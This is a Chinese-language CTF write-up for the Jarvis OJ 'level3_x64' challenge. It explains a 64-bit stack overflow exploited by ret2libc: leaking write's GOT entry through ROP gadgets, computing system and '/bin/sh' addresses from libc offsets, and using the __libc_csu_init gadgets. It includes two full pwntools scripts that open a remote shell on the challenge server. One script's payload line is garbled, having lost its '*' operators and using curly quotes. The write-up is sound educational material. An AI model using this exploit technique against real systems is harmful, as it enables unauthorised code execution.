一、解题思路
checesec查看
代码段和数据段不存在随机化,栈不可执行,无金丝雀值。
反汇编level3_x64,可知单纯靠elf=ELF(“./level3_x64”),引入level3_x64文件,是不能得到system函数的调用地址的。观察函数列表就知道,没有system函数,所以PLT表中没有system函数的条目[这个程序没有调用过system函数,故system不参与符号解析过程,符号表中没有system]。
所以sys_addr = elf.plt[‘system’]或elf.symbols[‘system’]是找不到表项/条目的。
在IDA中反汇编libc-2.19.so,可以在函数列表中找到“system”、字符串窗口中找到“/bin/sh”
所以还要引入.so文件[libc_elf=ELF(“./libc-2.19.so”)]。通过获得有GOT/PLT表项的某个函数A的真实地址以及.so文件中A和system函数和“/bin/sh”字符串偏移量与程序运行时三者的运行时(真实)地址偏移量相同的关系,通过A的真实地址+相等偏移量获得system函数的调用地址和”/bin/sh”字符串的地址。[类似于JOJXMAN3笔记所述]
因为write/read在level3_x64程序中有符号引用,所以他们有PLT条目[可以调用write来打印write _ got->recv(4)->获取write的真实地址]和GOT条目[GOT表泄露了他们的真实地址]
注:
-
elf.plt[‘write’]和elf.got[‘write’],仅仅只是write函数在PLT表和GOT表的索引,不是PLT表和GOT表的具体的内容[以elf.got[‘write’]为索引,索引到的GOT表内容是write函数的运行时(真实)地址]
-
python没有指针,故不能*write_got,来获得write函数的真实地址。
与32位下的差别在于,32位机器下:write函数打印write_ got,即write(1,write _ got,4),3个参数分别布置在栈中ebp+8,+12,+16; 而64位机器下,打印write_ got为write(1,write _ got,8),而且3个参数布置在%rdi,%rsi,%rdx。
设置三个参数:简单的方法即使ROPgadgets能直接得到合适的ROP链,要不然就是使用通用gadgets:__ libc_ csu_ init【以下会给出两种方法】
二、解题步骤
我们可以布置栈,通过POP指令设置寄存器,通过ret指令将ROP连接起来,形成链。
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret #多放置8字节任意数据用于填充%r15
通过ROPgadget工具查找的可用ROP链,只能设置%rdi和%rsi寄存器,剩下的%rdx怎么办?
运气不错,edx寄存器在read退栈前一刻,保持着0x200[这个其实来自于栈溢出漏洞read(0, &buf, 0x200)中的第三个参数设置,此后vulnerable_function没有再动过这个寄存器]
write函数的定义就是ssize_t write(int fd, const void *buf, size_t nbyte);把buf中nbyte写入文件描述符handle所指的文档,成功时返回写的字节数,错误时返回-1.
- fd:文件描述符[1表示写到标准输出,即屏幕];
- buf:指定的缓冲区,即指针,指向一段内存单元;
- nbyte:要写入文件指定的字节数;
- 返回值:写入文档的字节数(成功),-1(出错)
当写到nbyte的字节限制时,就write结束了。
因此edx大,没关系,多写出一点[>=8就好]。到时候recv(8),就获取前8字节得到write _ got的值就可以了,剩下的不receive就行。
最后就是0x00000000004006b3和0x00000000004006b1来设置rdi和rsi,然后rdx不需要设置,保持0x200
脚本情况就是:
#!/usr/bin/python
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
re = remote("pwn2.jarvisoj.com",9883)
#re = gdb.debug(["./level3_x64"])
elf = ELF("./level3_x64")
write_plt = elf.plt['write']
write_got = elf.got['write']
prdi_addr = 0x00000000004006b3
prsi_addr = 0x00000000004006b1
vuln_addr = elf.symbols['vulnerable_function']
payload1 = ‘a’0x80 + ‘a’0x8 + p64(prdi_addr)+p64(1)+p64(prsi_addr)+p64(write_got) +’a’*0x8 + p64(write_plt) + p64(vuln_addr)
re.recvline()
re.sendline(payload1)
write_addr = u64(re.recv(8))
libc_elf=ELF("./libc-2.19.so")
#just address offset
sys_relative = libc_elf.symbols['system']
write_relative = libc_elf.symbols['write']
bin_relative = libc_elf.search('/bin/sh').next()
sys_addr = write_addr + sys_relative - write_relative
bin_addr = write_addr + bin_relative - write_relative
payload2 = 'a'*0x80 + 'a'*0x8 + p64(prdi_addr) + p64(bin_addr)+p64(sys_addr)
re.send(payload2)
re.interactive()
还有就是使用通用的gadgets:
#!/usr/bin/python
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
re = remote("pwn2.jarvisoj.com",9883)
#re = gdb.debug(["./level3_x64"])
elf = ELF("./level3_x64")
write_plt = elf.plt['write']
write_got = elf.got['write']
pr_addr = 0x00000000004006b3
vuln_addr = elf.symbols['vulnerable_function']
para_set_addr = 0x00000000004006AA
para_ret_addr = 0x0000000000400690
payload1 = 'a'*0x80 + 'a'*0x8 + p64(para_set_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(1)+ p64(para_ret_addr)+'a'*56 + p64(vuln_addr)
re.recvline()
re.sendline(payload1)
write_addr = u64(re.recv(8))
libc_elf=ELF("./libc-2.19.so")
#just address offset
sys_relative = libc_elf.symbols['system']
write_relative = libc_elf.symbols['write']
bin_relative = libc_elf.search('/bin/sh').next()
sys_addr = write_addr + sys_relative - write_relative
bin_addr = write_addr + bin_relative - write_relative
payload2 = 'a'*0x80 + 'a'*0x8 + p64(pr_addr) + p64(bin_addr)+p64(sys_addr)
re.send(payload2)
re.interactive()
注意使用p64,u64,8字节而非4字节